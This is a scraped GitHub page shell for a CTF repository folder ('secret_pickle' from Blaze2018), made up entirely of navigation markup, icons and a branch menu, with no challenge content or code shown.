1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="121378338" data-scoped-search-url="/vakzz/ctfs/search" data-owner-scoped-search-url="/orgs/vakzz/search" data-unscoped-search-url="/search" data-turbo="false" action="/vakzz/ctfs/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="9SmU3Dby3Uxhk/LJVwGyNcP761fCVsDC0oG4WKs1zx6r8ZOCFmEnDbTD7ONgOdooHmL0WPVYHN9TCt3J5xnFFg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vakzz </span> <span>/</span> ctfs <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vakzz/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":121378338,"originating_url":"https://github.com/vakzz/ctfs/tree/master/Blaze2018/secret_pickle","user_id":null}}" data-hydro-click-hmac="12fd87da1665a71b7345f2c803d98ffedf2e0c73e2d432b34ac6bbe58065e8a0"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 